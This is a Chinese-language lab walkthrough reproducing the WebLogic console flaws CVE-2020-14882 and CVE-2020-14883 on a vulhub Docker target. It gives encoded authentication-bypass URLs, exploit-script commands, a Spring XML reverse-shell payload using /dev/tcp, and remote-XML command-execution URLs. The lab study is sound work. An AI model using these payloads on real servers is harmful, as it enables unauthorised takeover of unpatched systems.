漏洞名称
Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883
漏洞描述
Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)。
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身 份执行命令。
受影响版本
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
一、环境搭建
Weblogic未授权访问漏洞-CVE-2020-14882
使用vulhub靶场
git clone https://github.com/vulhub/vulhub.git #vulhuba靶场下载
1.cd vulhub/weblogic/CVE-2020-14882
2.docker-compose up -d #启动环境
查看是否搭建成功
访问 http://your-IP:7001/console
出现此界面,表示搭建成功
二、绕过后台登录
权限漏洞绕过,主要的POC如下:
/console/images/%252E%252E%252Fconsole.portal
/console/css/%25%32%65%25%32%65%25%32%66console.portal
大写换成小写可绕过补丁:
/console/css/%252e%252e%252fconsole.portal
绕过后台登录
http://your-ip:7001/console/images/%252E%252E%252Fconsole.portal
访问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。
三、脚本利用
脚本地址: https://github.com/backlion/CVE-2020-14882_ALL
命令回显: python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "whoami"
python3 CVE-2020-14882——ALL.py -u http://your-ip:7001/ -c "ls"
外置xml文件无回显命令执行
Linux反弹shell为例,编辑poc.xml文件
命令:touch poc.xml
当前目录新建poc.xml
写入以下代码:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>注意:上面反弹的地址是your-IP地址和任意端口
在当前目录执行以下命令,服务器就在当前目录
python3 -m http.server #开启新的服务器
通过脚本执行命令:
python3 CVE-2020-14882_ALL.py -u http://172.16.115.130:7001/ -x http://172.16.115.130:8000/poc.xml
打开监听
nc -lvvp 2023
weblogic远程命令执行(CVE-2020-14883)
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用CVE-2020-14882 环境复现
这个漏洞一共有两种利用方法:
第一种方法是通过:com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://172.16.115.130:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/abcde');")
docker exec -it 容器ID /bin/bash #查看是否创建成功
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类
第二种方法:
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
#开启一个服务器
python3 -m http.server
#新建qwe.xml文件,写入以下内容,并保存至刚开启的服务器上 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/zxcvb]]></value> </list> </constructor-arg> </bean> </beans>
#然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://172.17.0.1:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.115.130/qwe.xml")
进入容器查看是否创建成功:
docker exec -it 容器id /bin/bash
参考链接:
https://blog.csdn.net/qq_32731075/article/details/117673410
http://luckysec.cn/posts/b52ee26f.html文章来源:https://www.toymoban.com/news/detail-560559.html
如有问题,欢迎留言。文章来源地址https://www.toymoban.com/news/detail-560559.html
到了这里,关于Weblogic未授权访问漏洞-CVE-2020-14882&&CVE-2020-14883的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!